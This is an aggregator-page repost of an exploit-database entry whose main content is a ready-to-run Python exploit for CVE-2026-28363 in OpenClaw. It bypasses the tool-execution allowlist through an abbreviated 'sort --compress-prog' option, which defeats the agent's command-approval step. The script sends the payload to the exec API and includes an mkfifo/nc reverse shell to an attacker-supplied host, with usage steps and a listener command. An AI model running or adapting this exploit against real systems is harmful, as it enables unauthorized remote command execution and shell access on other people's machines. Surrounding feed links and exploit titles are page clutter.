惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

大猫的无限游戏
大猫的无限游戏
Webroot Blog
Webroot Blog
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
T
Threat Research - Cisco Blogs
V2EX - 技术
V2EX - 技术
L
LINUX DO - 热门话题
Google DeepMind News
Google DeepMind News
Recorded Future
Recorded Future
S
Schneier on Security
I
InfoQ
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
The GitHub Blog
The GitHub Blog
S
Security @ Cisco Blogs
O
OpenAI News
W
WeLiveSecurity
Vercel News
Vercel News
阮一峰的网络日志
阮一峰的网络日志
Simon Willison's Weblog
Simon Willison's Weblog
人人都是产品经理
人人都是产品经理
Cloudbric
Cloudbric
The Last Watchdog
The Last Watchdog
The Hacker News
The Hacker News
Google Online Security Blog
Google Online Security Blog
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
GbyAI
GbyAI
NISL@THU
NISL@THU
T
Tailwind CSS Blog
V
Visual Studio Blog
PCI Perspectives
PCI Perspectives
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
Jina AI
Jina AI
D
DataBreaches.Net
B
Blog RSS Feed
N
News and Events Feed by Topic
N
News and Events Feed by Topic
H
Heimdal Security Blog
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
腾讯CDC
Latest news
Latest news
V
Vulnerabilities – Threatpost
Hacker News: Ask HN
Hacker News: Ask HN
WordPress大学
WordPress大学
V
V2EX
aimingoo的专栏
aimingoo的专栏
博客园 - 司徒正美
Apple Machine Learning Research
Apple Machine Learning Research
D
Darknet – Hacking Tools, Hacker News & Cyber Security
The Register - Security
The Register - Security
Help Net Security
Help Net Security

The Exploit Database - CXSecurity.com

Joomla Page Builder CK <= 3.5.10 - Unauthenticated Arbitrary File Upload (RCE) Microsoft Edge <= 150.0.4078.48 (Chromium-based) Type Confusion RCE PraisonAI CodeAgent <= 1.6.77 Remote Code Execution (RCE) via Unsandboxed LLM Code Execution XenForo XSS CVE Scanner — Passive Detection Tool for CVE-2026-35055, CVE-2026-35054, CVE-2026-35057 ePati Antikor NGFW 2.0.1301 Authentication Bypass Apache HTTP Server 2.4.66 mod_http2 Double-Free Denial of Service NiceGUI 3.6.1 Path Traversal - CXSecurity.com Green Hills INTEGRITY RTOS IPCOMShell TELNET Format String Vulnerability - Realistic Full Chain Attack on F-16 Avionics (Ground Maintenance Scenario) OpenClaw < 2026.3.28 Discord Text Approval Authorization Bypass Kanboard <= 1.2.50 Authenticated SQL Injection Google Chrome < 145.0.7632.75 - CSSFontFeatureValuesMap Use-After-Free Siklu EtherHaul Series EH-8010 Remote Command Execution aiohttp 3.9.1 Directory Traversal - CXSecurity.com deephas <= 1.0.7 - Prototype Pollution leading to Arbitrary Code Execution / DoS LangChain Core - Serialization Injection to Jinja2 SSTI/RCE AVideo Notify.ffmpeg.json.php Unauthenticated Remote Code Execution Birth Chart Compatibility WordPress Plugin 2.0 Full Path Disclosure dotCMS 25.07.02-1 Authenticated Blind SQL Injection Mbed TLS 3.6.4 Use-After-Free - CXSecurity.com MonstaFTP Unauthenticated File Upload - CXSecurity.com Flowise 3.0.4 Remote Code Execution Swagger UI 1.0.3 Cross-Site Scripting (XSS) Vvveb CMS 1.0.5 Remote Code Execution SugarCRM unauthenticated Remote Code Execution (RCE) Belkin F9K1009 F9K1010 2.00.04/2.00.09 Hard Coded Credentials Commvault CLI Argument Injection / Traversal / Remote Code Execution Sitecore XP Post-Authentication File Upload Ultimate Member WordPress Plugin 2.6.6 Privilege Escalation Ghost CMS 5.59.1 Arbitrary File Read DOS Baby POP3 Server 1.04 Tenda AC20 16.03.08.12 Command Injection Projectworlds Online Admission System 1.0 SQL Injection JetBrains TeamCity 2023.11.4 Authentication Bypass Cisco ISE 3.0 Remote Code Execution Pandora ITSM Authenticated Command Injection Shenzhen Aitemi M300 Wi-Fi Repeater Unauthenticated RCE Malicious XDG Desktop File - CXSecurity.com Langflow 1.2.x Remote Code Execution (RCE) Microsoft Excel LTSC 2024 Remote Code Execution Adobe ColdFusion 2023.6 Remote File Read Malicious Windows Registration Entries (.reg) File Microsoft PowerPoint 2019 Remote Code Execution (RCE) Discourse 3.2.x Anonymous Cache Poisoning VBA Bypass Windows Defender Exploit PoC Social Warfare WordPress Plugin 3.5.2 Remote Code Execution (RCE) PHP CGI Module 8.3.4 Remote Code Execution Grandstream GSD3710 1.0.11.13 Stack Overflow Parrot and DJI variants Drone OSes Kernel Panic Exploit
OpenClaw tools.exec.safeBins <= 2026.2.22 Remote Code Execution
2026-03-02 · via The Exploit Database - CXSecurity.com

OpenClaw tools.exec.safeBins <= 2026.2.22 Remote Code Execution

#!/usr/bin/env python3 # Exploit Title: OpenClaw tools.exec.safeBins <= 2026.2.22 Remote Code Execution # CVE: CVE-2026-28363 # Date: 2026-02-27 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Vendor Homepage: https://github.com/openclaw/openclaw # Software Link: https://github.com/openclaw/openclaw # Affected: OpenClaw <= 2026.2.22 (when tools.exec.security=allowlist + sort in safeBins) # Tested on: OpenClaw 2026.2.22 (Ubuntu 24.04 / Debian-based with default-ish config) # Category: Remote Command Execution # Platform: Linux # Exploit Type: Remote # CVSS: 9.9 (CRITICAL) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H # CWE: CWE-184 (Incomplete List of Disallowed Inputs) # Description: OpenClaw before 2026.2.23 fails to properly validate abbreviated GNU long options when checking the tools.exec.safeBins allowlist/denylist for the sort command. # Using --compress-prog=... instead of --compress-program=... bypasses the security check, allowing low-privileged authenticated users to execute arbitrary commands via dangerous sort flags without triggering the approval workflow. # Fixed in: OpenClaw >= 2026.2.23 (commit 3b8e33037ae2e12af7beb56fcf0346f1f8cbde6f or later) # Usage: # python3 exploit.py <target_url> --token <auth_token> [--lhost <ip>] [--lport <port>] [--cmd "command here"] # # Examples: # # Simple proof-of-concept write file # python3 exploit.py http://192.168.10.50:8080 --token eyJhbGciOi... --cmd "id > /tmp/pwned.txt" # # # Reverse shell # python3 exploit.py http://target:8080 --token <token> --lhost 192.168.1.77 --lport 4444 # # Options: # <target_url> Base URL of vulnerable OpenClaw instance (http(s)://host:port) # --token Bearer token or API key of a low-privileged user # --lhost Attacker IP for reverse shell (optional) # --lport Attacker port for reverse shell (optional) # --cmd Custom command to execute via sort --compress-prog (optional) # # Notes: # - Requires low-priv authenticated access (any user that can call tools.exec) # - Endpoint assumed: /api/tools/exec → change ENDPOINT variable if different # - sort must be present in tools.exec.safeBins (common in default/recommended configs) # - For authorized penetration testing / red-team / research use only # # How to Use # Step 1: Obtain a valid low-privileged Bearer token / API key # Step 2: (optional) Start listener: nc -lvnp 4444 # Step 3: Run exploit with target and token (add --lhost/--lport for revshell) print(r""" ╔════════════════════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ ▄▄▄▄· ▄▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║ ║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║ ║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║ ║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║ ║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║ ║ ║ ║ b a n y a m e r _ s e c u r i t y ║ ║ ║ ║ >>> Silent Hunter • Shadow Presence <<< ║ ║ ║ ║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║ ║ Handle : @banyamer_security ║ ║ ║ ║ CVE-2026-28363 • OpenClaw sort safeBins → Authenticated RCE Bypass ║ ║ ║ ╚════════════════════════════════════════════════════════════════════════════════════════════╝ """) import requests import argparse import sys parser = argparse.ArgumentParser(description="CVE-2026-28363 OpenClaw sort safeBins RCE Bypass") parser.add_argument("target", help="Target OpenClaw base URL (e.g. http://192.168.10.50:8080)") parser.add_argument("--token", required=True, help="Bearer token or API key") parser.add_argument("--lhost", help="Listener IP for reverse shell") parser.add_argument("--lport", help="Listener port for reverse shell") parser.add_argument("--cmd", help="Custom command to run (overrides reverse shell)") args = parser.parse_args() BASE_URL = args.target.rstrip("/") ENDPOINT = "/api/tools/exec" # ← change if your deployment uses different path HEADERS = { "Authorization": f"Bearer {args.token}", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; OpenClaw-Exploit-PoC)" } # Default PoC: write proof file command = "echo 'EXPLOITED CVE-2026-28363 by @banyamer_security' > /tmp/rce-poc-$(date +%%s).txt" if args.cmd: command = args.cmd elif args.lhost and args.lport: # Classic mkfifo reverse shell via sort --compress-prog command = ( f"rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | " f"/bin/sh -i 2>&1 | nc {args.lhost} {args.lport} >/tmp/f" ) # Exploit payload using abbreviated long option bypass payload = { "tool": "exec", "args": { "cmd": "sort", "args": [ f"--compress-prog=sh -c '{command}'", "-o", "/dev/null", "/dev/null" ] } } print("[*] Sending exploit payload...") print(f" Target : {BASE_URL}{ENDPOINT}") print(f" Command : {command}") print(f" Auth : Bearer {args.token[:12]}...") try: r = requests.post( f"{BASE_URL}{ENDPOINT}", headers=HEADERS, json=payload, timeout=12, allow_redirects=False ) print(f"[+] Status code : {r.status_code}") if r.status_code in (200, 201, 202, 204): print("[!] Likely SUCCESS — command probably executed without approval prompt") print(" Check /tmp/ on target for files or catch reverse shell") elif "approval" in r.text.lower() or "forbidden" in r.text.lower(): print("[-] Failed — approval prompt or block still triggered") elif r.status_code == 401 or r.status_code == 403: print("[-] Authentication failed — invalid or insufficient token") else: print("[-] Unexpected response:") print(r.text[:400] + "..." if len(r.text) > 400 else r.text) except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") sys.exit(1) print("\nExploit finished. Good hunting.")

References:

https://github.com/openclaw/openclaw/security/advisories/GHSA-3c6h-g97w-fg78

https://nvd.nist.gov/vuln/detail/CVE-2026-28363




 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


Copyright 2026, cxsecurity.com